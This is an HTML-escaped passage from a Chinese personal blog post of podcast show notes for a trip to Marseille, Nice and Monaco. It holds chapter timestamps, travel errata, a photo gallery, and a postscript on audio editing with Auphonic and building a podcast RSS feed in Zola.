&lt;button onclick=&quot;seek(2726.533)&quot; style=&quot;margin-right:1ch&quot;&gt;45:27&lt;&#x2F;button&gt;错过的香水工作坊&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2903.299)&quot; style=&quot;margin-right:1ch&quot;&gt;48:23&lt;&#x2F;button&gt;摩纳哥火车站你到底在哪&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2979.451)&quot; style=&quot;margin-right:1ch&quot;&gt;50:39&lt;&#x2F;button&gt;摩纳哥海洋馆体验&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3183.027)&quot; style=&quot;margin-right:1ch&quot;&gt;53:03&lt;&#x2F;button&gt;两次勇闯小学生赌场之赌徒赌到最后只剩六分&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3322.083)&quot; style=&quot;margin-right:1ch&quot;&gt;55:22&lt;&#x2F;button&gt;尼斯街头橘子的味道，我想知道&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3452.358)&quot; style=&quot;margin-right:1ch&quot;&gt;58:32&lt;&#x2F;button&gt;&lt;strong&gt;问题四：如果可以重新来一次，我们会做哪些不一样的事&lt;&#x2F;strong&gt;&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3460.673)&quot; style=&quot;margin-right:1ch&quot;&gt;58:41&lt;&#x2F;button&gt;看好天气出行，或者做&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Gore-Tex&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的狗&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3492.49)&quot; style=&quot;margin-right:1ch&quot;&gt;58:12&lt;&#x2F;button&gt;学一些基本的当地语言&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3791.999)&quot; style=&quot;margin-right:1ch&quot;&gt;63:12&lt;&#x2F;button&gt;马鲛鱼能想到最法国的事情是抱着法棍逛迪卡侬&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3905.626)&quot; style=&quot;margin-right:1ch&quot;&gt;65:06&lt;&#x2F;button&gt;无法送出的可颂和离开的朋友&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3963.097)&quot; style=&quot;margin-right:1ch&quot;&gt;66:03&lt;&#x2F;button&gt;&lt;strong&gt;结尾：多变的旅途中，身边人是不变的存在&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;勘误&quot;&gt;勘误&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;爱丁堡有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;High
Street，只不过是更为知名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Royal
Mile&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的一段。所以两位主播才以为爱丁堡没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;High
Street。&lt;&#x2F;li&gt;
&lt;li&gt;尼斯火车站售票机的滚球控制的并不是翻页，而是确认。它的问题不是有时会翻很多页，而是确认键有时触发不了，有时又会双击（把一整页的内容都确认后就自动翻页了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;马鲛鱼在搜索马赛火车站时的关键词不是大区，而是火车站名；&lt;&#x2F;li&gt;
&lt;li&gt;马赛列车车厢序号从乘客进站方向，向列车前进方向数是从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20，再从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10。我们的票在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号车厢，以为车厢号是从进站方向递增的。所以在看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号车厢后先往进站方向走，走到头发现是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;11&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号车厢后再掉过头来走到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号，发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号间有两节相对的火车头，继续走才到达&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;播客照片&quot;&gt;播客照片&lt;&#x2F;h2&gt;
&lt;p&gt;这次旅行就不像以前那样根据时间顺序事无钜细地罗列所有细节了。以下照片是根据播客中的话题顺序排列的。&lt;&#x2F;p&gt;
&lt;p&gt;马赛，法国第二大城市，全名马哈维沙漠要塞：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Vieux-Port.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Vieux-Port.15be12a1f52a1f97.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Vieux-Port.bd3f4a50d4b3b3df.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Vieux-Port.78513b7b045e85d4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Vieux-Port.bd3f4a50d4b3b3df.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4096&quot;
	width=&quot;2730&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Musée-des-Civilisations-de-l’Europe-et-de-la-Méditerranée.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Musée-des-Civilisations-de-l’Europe-et-de-la-Méditerranée.676b2d5bd1de64cb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Musée-des-Civilisations-de-l’Europe-et-de-la-Méditerranée.6b1c90f12ea4b90b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Musée-des-Civilisations-de-l’Europe-et-de-la-Méditerranée.53b1af95e9d460fb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Musée-des-Civilisations-de-l’Europe-et-de-la-Méditerranée.6b1c90f12ea4b90b.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4096&quot;
	width=&quot;2730&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;在马赛吃的马赛鱼汤和牛肉塔塔、在尼斯上海菜馆吃的四川风味陕西凉皮：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;鞑靼牛肉和马赛鱼汤.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;鞑靼牛肉和马赛鱼汤.df8df9f49169a690.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;鞑靼牛肉和马赛鱼汤.3de771af751b1008.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;鞑靼牛肉和马赛鱼汤.6026f3bbc5079235.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;鞑靼牛肉和马赛鱼汤.3de771af751b1008.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3024&quot;
	width=&quot;4032&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;法国上海餐馆里的西安凉皮.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;法国上海餐馆里的西安凉皮.dd6c0155014e0dfb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;法国上海餐馆里的西安凉皮.8517fc6fd2a6dd7d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;法国上海餐馆里的西安凉皮.4fec2005f68ad3d3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;法国上海餐馆里的西安凉皮.8517fc6fd2a6dd7d.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4032&quot;
	width=&quot;3024&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Calanque de Sugiton:&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Sugiton.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton.90a228ac8d6140ce.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton.a9ec0cf14af7869d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton.94de593a7068d2a9.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton.a9ec0cf14af7869d.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4096&quot;
	width=&quot;2730&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Sugiton2.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton2.b87481c104a74428.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton2.2ede8637d987f8bb.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton2.bc4e0a86d41c77b3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Sugiton2.2ede8637d987f8bb.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;6000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;马塞纳广场的亲水广场（小马里奥二段跳训练基地&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;马塞纳亲水广场.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;马塞纳亲水广场.f640f990a54882a2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;马塞纳亲水广场.eab0feebd3d23a18.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;马塞纳亲水广场.9931dc5573696826.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;马塞纳亲水广场.eab0feebd3d23a18.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;6000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;天台酒吧和惊喜彩虹：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20240623_192946138.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_192946138.6f942f0df90268b3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_192946138.0f76b22a5d487627.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_192946138.fdfbcd309d3544dc.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_192946138.0f76b22a5d487627.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20240623_191354838.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_191354838.4f831619a8142141.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_191354838.3dccc72345b05863.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_191354838.614013df1dec7532.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240623_191354838.3dccc72345b05863.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;尼斯海岸：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Promenade-des-Anglais.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Promenade-des-Anglais.6fdcde87b25c4183.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Promenade-des-Anglais.0b0608066dac2555.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Promenade-des-Anglais.104b65b05f28df03.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Promenade-des-Anglais.0b0608066dac2555.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2730&quot;
	width=&quot;4096&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Blackchin_guitarfish&quot;&gt;黑脸吉他鱼&lt;&#x2F;a&gt;：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20240624_113249780.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240624_113249780.2bdabc005989dadb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240624_113249780.bb5be0f49dc249de.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240624_113249780.7488ecf7f76cf9f7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240624_113249780.bb5be0f49dc249de.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在儿童赌场输到只剩六分钱，不得已只能吃路边橘子饱腹：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;儿童赌场里的赌徒.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;儿童赌场里的赌徒.455202c6bd2e54b6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;儿童赌场里的赌徒.36363f2c2ed26e7d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;儿童赌场里的赌徒.b252b5c07a536fed.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;儿童赌场里的赌徒.36363f2c2ed26e7d.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;尼斯街头的橘子树.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;尼斯街头的橘子树.35fc0a201bf81fd7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;尼斯街头的橘子树.81ca6b38d8299628.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;尼斯街头的橘子树.9562a72723c9cda8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;尼斯街头的橘子树.81ca6b38d8299628.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4032&quot;
	width=&quot;3024&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Saint-Charles&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地区和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Marseille
Saint-Charles&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;火车站：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20240809-164215~2.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20240809-164215~2.png&quot;
	alt=&quot;&quot;
	height=&quot;1152&quot;
	width=&quot;864&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20240621_175018142.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240621_175018142.dcfa92916417da8d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240621_175018142.f84e7a9fe39f5bbf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240621_175018142.4192b77055884e95.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20240621_175018142.f84e7a9fe39f5bbf.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;后记&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;音频后处理&quot;&gt;音频后处理&lt;&#x2F;h3&gt;
&lt;p&gt;我的声音频率和音量都比小林低。在两人交流时，这不是问题；要是给听众听的话，就需要均衡一下音量。可是囿于条件所限，我俩的声音被录制进了一条音轨——这给后期均衡音量带来很大的困难。&lt;&#x2F;p&gt;
&lt;p&gt;我最初的想法是通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;EQ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把我的声音变亮，再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Compressor&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把小林的声音压低（小林评：饭圈的踩一捧一可算是被你玩明白了&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，从而让听众更容易听清我。但尝试过后发现这种方法的提升有限：我的声音还是很虚。在网上一阵搜索之后发现了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Auphonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这款可以“normalizes
all speakers to a similar loudness”的软件，尝试了下，发现效果很好。&lt;&#x2F;p&gt;
&lt;p&gt;我在剪辑时喜欢把两人沉默的时间缩短，这样不会“浪费”听众的生命。试用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Auphonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后，我发现它也有保留有意停顿、剪掉尴尬沉默的“Cut
Silence”功能。我突然感到之前手动剪沉默时实在是浪费自己的生命。&lt;&#x2F;p&gt;
&lt;p&gt;Auphonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;唯一让我不满意的是“Remove
Breathings”的默认值有点狠，导致音频里我有时开口的声音很突兀——不过根据上下文还是能听懂我在说什么的，所以问题不是很大。&lt;&#x2F;p&gt;
&lt;p&gt;我觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Auphonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;所做的处理，我应该也可以复现。所缺的只是时间罢了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;RSS&quot;&gt;RSS&lt;&#x2F;h3&gt;
&lt;p&gt;我平常用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;听播客，但自己的播客却只能用火狐听——这让我感到难受。播客的分发还比较自由——只要有一个符合苹果播客标准的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以在大部分客户端订阅了。我的博客本来就有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS（Atom&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，所以再生成一个只包含播客的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应该不是什么难事。&lt;&#x2F;p&gt;
&lt;p&gt;确实不难，但还挺麻烦的。首先是我的博客生成器（Zola）不能为特定标签设置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模板——要设就得给所有标签设；而且就算设置了模板，还必须和整个播客的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;共用一张模板。因此，我只能把两张模板写在一个文件里，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;if-else&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分隔。&lt;&#x2F;p&gt;
&lt;p&gt;解决了模板的问题，还有很多小细节要照顾。比如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;BST&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.faqs.org&#x2F;rfcs&#x2F;rfc2822.html&quot;&gt;RFC
2822&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含的时区；&lt;&#x2F;li&gt;
&lt;li&gt;&amp;lt;itunes:episode&amp;gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;明明是给机器读的，却要从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开始；&lt;&#x2F;li&gt;
&lt;li&gt;Pandoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;会自动把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;frontmatter&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里的换行符改成空格，让我要特殊处理传给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模板的时间轴信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;等等。&lt;&#x2F;p&gt;
&lt;p&gt;总之，把各个棱角抹平之后，我可以在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod、苹果播客通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;链接（&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）收听自己的播客了。如果你也有自己喜爱的播客客户端，也可以订阅下试试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;😸。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;未来的游记&quot;&gt;未来的游记&lt;&#x2F;h3&gt;
&lt;p&gt;我之前写的游记被人笑话“应该发到小红书上&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，实在是让我难受。因此，我一直在想不以时间顺序挨个讲的话，应该以怎样的形式&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E4%B8%BA%E4%BA%86%E9%81%97%E5%BF%98%E8%80%8C%E8%AE%B0%E5%BD%95&quot;&gt;忘掉旅行&lt;&#x2F;a&gt;。目前来看，和旅伴录播客是一个有趣的选择。而且，在很远的将来，我的旅伴都会是她。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
